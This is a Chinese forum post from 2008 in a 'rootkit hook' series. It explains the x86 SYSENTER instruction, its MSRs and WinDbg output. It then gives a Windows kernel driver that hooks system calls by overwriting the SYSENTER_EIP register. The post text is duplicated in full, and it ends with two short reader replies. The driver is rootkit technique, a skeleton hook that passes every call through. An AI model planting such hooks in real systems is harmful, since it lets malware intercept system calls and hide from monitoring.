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[原创]rootkit hook之[六] -- sysenter Hook
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2008-2-26 12:25
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呵呵，今天这篇内容少，比较简单。
SYSENETER是一条汇编指令，它是在Pentium® II 处理器及以上处理器中提供的，是快速系统调用的一部分。SYSENTER/SYSEXIT这对指令专门用于实现快速调用。在这之前是采用INT 0x2E来实现的。INT 0x2E在系统调用的时候，需要进行栈切换的工作。由于Interrupt/Exception Handler的调用都是通过 call/trap/task这一类的gate来实现的，这种方式会进行栈切换，并且系统栈的地址等信息由TSS提供。这种方式可能会引起多次内存访问 （来获取这些切换信息），因此，从PentiumII开始，IA-32引入了新指令：SYSENTER/SYSEXIT。 有了这两条指令，
从用户级到特权级的堆栈以及指令指针的转换，可以通过这一条指令来实现，并且，需要切换到的新堆栈的地址，以及相应过程的第一条指令的位置，都有一组特殊寄存器来实现，这类特殊寄存器在IA-32中称为MSR(Model Specific Register)。这里牵涉到3个特殊寄存器：
SYSENTER_CS_MSR: New code segment selector 0x174
SYSENTER_ESP_MSR: New Stack Pointer 0x175
SYSENTER_EIP_MSR: New Instruction Pointer 0x176
这里标出的3个16进制数分别对应这3个寄存器的地址，该地址用于Kernel debug时，通过rdmsr/wrmsr指令来读/写这3个寄存器。步骤如下：
1. 装载SYSENTER_CS_MSR 到CS 寄存器，设置目标代码段
2. 装载SYSENTER_EIP_MSR到 EIP寄存器，设置目标指令
3. SYSENTER_CS_MSR+8 装载到SS寄存器 ，设置栈段
4. 装载SYSENTER_ESP_MSR 到ESP寄存器，设置栈帧
5. 切换RING0.
6. 清除 EFLAGS的 VM标志
7. 执行RING0例程
1. SYSENTER_CS_MSR+16装载到 CS寄存器
2. 将EDX的值送入EIP
3. SYSENTER_CS_MSR+24 装载到SS寄存器
4. 将ECX的值送入ESP
5. 切换回RING3
6. 执行EIP处的RING3指令
我们在windbg中可以看看这个三个寄存器的情况，这个是我机器里的情况。
lkd> rdmsr 176
msr[176] = 00000000`8053dad0
lkd> rdmsr 175
msr[175] = 00000000`ba4e0000
lkd> rdmsr 174
msr[174] = 00000000`00000008
可以看到，我的机器里面当前SYSENTER_EIP_MSR，SYSENTER_ESP_MSR，SYSENTER_CS_MSR这三个寄存器的值。
我们在微软公开的内核WRK中发现关于这三个寄存器的设置，其中SYSENTER_EIP_MSR设置的值是KiFastCallEntry。
代码如下：
VOID
KiLoadFastSyscallMachineSpecificRegisters(
IN PLONG Context
)
/*++
Routine Description:
Load MSRs used to support Fast Syscall/return. This routine is
run on all processors.
Arguments:
None.
Return Value:
None.
--*/
{
PKPRCB Prcb;
UNREFERENCED_PARAMETER (Context);
if (KiFastSystemCallIsIA32) {
Prcb = KeGetCurrentPrcb();
//
// Use Intel defined way of doing this.
//
WRMSR(MSR_SYSENTER_CS, KGDT_R0_CODE);
WRMSR(MSR_SYSENTER_EIP, (ULONGLONG)(ULONG)KiFastCallEntry);
WRMSR(MSR_SYSENTER_ESP, (ULONGLONG)(ULONG)Prcb->DpcStack);
}
}
看看我电脑的情况如下：
lkd> rdmsr 176
msr[176] = 00000000`8053dad0
lkd> u 8053dad0
nt!KiFastCallEntry:
8053dad0 b923000000 mov ecx,23h
8053dad5 6a30 push 30h
8053dad7 0fa1 pop fs
8053dad9 8ed9 mov ds,cx
8053dadb 8ec1 mov es,cx
8053dadd 8b0d40f0dfff mov ecx,dword ptr ds:[0FFDFF040h]
8053dae3 8b6104 mov esp,dword ptr [ecx+4]
8053dae6 6a23 push 23h
下面是rootkit.com上的一个例子，这个例子有点不厚道，在你卸载的时候会bsod.我简单修改了下，贴代码如下：
#include "ntddk.h"
ULONG d_origKiFastCallEntry; // Original value of ntoskrnl!KiFastCallEntry
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
_asm
{
mov ecx, 0x176
xor edx,edx
mov eax, d_origKiFastCallEntry // Hook function address
wrmsr // Write to the IA32_SYSENTER_EIP register
}
}
// Hook function
__declspec(naked) MyKiFastCallEntry()
{
__asm {
jmp [d_origKiFastCallEntry]
}
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
theDriverObject->DriverUnload = OnUnload;
__asm {
mov ecx, 0x176
rdmsr // read the value of the IA32_SYSENTER_EIP register
mov d_origKiFastCallEntry, eax
mov eax, MyKiFastCallEntry // Hook function address
wrmsr // Write to the IA32_SYSENTER_EIP register
}
return STATUS_SUCCESS;
}
注意一点，大家用windbg的时候，配置symbol path,如图：
后面贴上一篇堕落天才写的文章链接：http://bbs.pediy.com/showthread.php?t=42705，
他inline hook 了KiFastCallEntry，采用detour方式,写得很不错。
SYSENETER是一条汇编指令，它是在Pentium® II 处理器及以上处理器中提供的，是快速系统调用的一部分。SYSENTER/SYSEXIT这对指令专门用于实现快速调用。在这之前是采用INT 0x2E来实现的。INT 0x2E在系统调用的时候，需要进行栈切换的工作。由于Interrupt/Exception Handler的调用都是通过 call/trap/task这一类的gate来实现的，这种方式会进行栈切换，并且系统栈的地址等信息由TSS提供。这种方式可能会引起多次内存访问 （来获取这些切换信息），因此，从PentiumII开始，IA-32引入了新指令：SYSENTER/SYSEXIT。 有了这两条指令，
从用户级到特权级的堆栈以及指令指针的转换，可以通过这一条指令来实现，并且，需要切换到的新堆栈的地址，以及相应过程的第一条指令的位置，都有一组特殊寄存器来实现，这类特殊寄存器在IA-32中称为MSR(Model Specific Register)。这里牵涉到3个特殊寄存器：
SYSENTER_CS_MSR: New code segment selector 0x174
SYSENTER_ESP_MSR: New Stack Pointer 0x175
SYSENTER_EIP_MSR: New Instruction Pointer 0x176
这里标出的3个16进制数分别对应这3个寄存器的地址，该地址用于Kernel debug时，通过rdmsr/wrmsr指令来读/写这3个寄存器。步骤如下：
1. 装载SYSENTER_CS_MSR 到CS 寄存器，设置目标代码段
2. 装载SYSENTER_EIP_MSR到 EIP寄存器，设置目标指令
3. SYSENTER_CS_MSR+8 装载到SS寄存器 ，设置栈段
4. 装载SYSENTER_ESP_MSR 到ESP寄存器，设置栈帧
5. 切换RING0.
6. 清除 EFLAGS的 VM标志
7. 执行RING0例程
1. SYSENTER_CS_MSR+16装载到 CS寄存器
2. 将EDX的值送入EIP
3. SYSENTER_CS_MSR+24 装载到SS寄存器
4. 将ECX的值送入ESP
5. 切换回RING3
6. 执行EIP处的RING3指令
我们在windbg中可以看看这个三个寄存器的情况，这个是我机器里的情况。
lkd> rdmsr 176
msr[176] = 00000000`8053dad0
lkd> rdmsr 175
msr[175] = 00000000`ba4e0000
lkd> rdmsr 174
msr[174] = 00000000`00000008
可以看到，我的机器里面当前SYSENTER_EIP_MSR，SYSENTER_ESP_MSR，SYSENTER_CS_MSR这三个寄存器的值。
我们在微软公开的内核WRK中发现关于这三个寄存器的设置，其中SYSENTER_EIP_MSR设置的值是KiFastCallEntry。
代码如下：
VOID
KiLoadFastSyscallMachineSpecificRegisters(
IN PLONG Context
)
/*++
Routine Description:
Load MSRs used to support Fast Syscall/return. This routine is
run on all processors.
Arguments:
None.
Return Value:
None.
--*/
{
PKPRCB Prcb;
UNREFERENCED_PARAMETER (Context);
if (KiFastSystemCallIsIA32) {
Prcb = KeGetCurrentPrcb();
//
// Use Intel defined way of doing this.
//
WRMSR(MSR_SYSENTER_CS, KGDT_R0_CODE);
WRMSR(MSR_SYSENTER_EIP, (ULONGLONG)(ULONG)KiFastCallEntry);
WRMSR(MSR_SYSENTER_ESP, (ULONGLONG)(ULONG)Prcb->DpcStack);
}
}
看看我电脑的情况如下：
lkd> rdmsr 176
msr[176] = 00000000`8053dad0
lkd> u 8053dad0
nt!KiFastCallEntry:
8053dad0 b923000000 mov ecx,23h
8053dad5 6a30 push 30h
8053dad7 0fa1 pop fs
8053dad9 8ed9 mov ds,cx
8053dadb 8ec1 mov es,cx
8053dadd 8b0d40f0dfff mov ecx,dword ptr ds:[0FFDFF040h]
8053dae3 8b6104 mov esp,dword ptr [ecx+4]
8053dae6 6a23 push 23h
下面是rootkit.com上的一个例子，这个例子有点不厚道，在你卸载的时候会bsod.我简单修改了下，贴代码如下：
#include "ntddk.h"
ULONG d_origKiFastCallEntry; // Original value of ntoskrnl!KiFastCallEntry
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
_asm
{
mov ecx, 0x176
xor edx,edx
mov eax, d_origKiFastCallEntry // Hook function address
wrmsr // Write to the IA32_SYSENTER_EIP register
}
}
// Hook function
__declspec(naked) MyKiFastCallEntry()
{
__asm {
jmp [d_origKiFastCallEntry]
}
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
theDriverObject->DriverUnload = OnUnload;
__asm {
mov ecx, 0x176
rdmsr // read the value of the IA32_SYSENTER_EIP register
mov d_origKiFastCallEntry, eax
mov eax, MyKiFastCallEntry // Hook function address
wrmsr // Write to the IA32_SYSENTER_EIP register
}
return STATUS_SUCCESS;
}
注意一点，大家用windbg的时候，配置symbol path,如图：
后面贴上一篇堕落天才写的文章链接：http://bbs.pediy.com/showthread.php?t=42705，
他inline hook 了KiFastCallEntry，采用detour方式,写得很不错。
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狂顶，，， 认真学习。。。
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学习了
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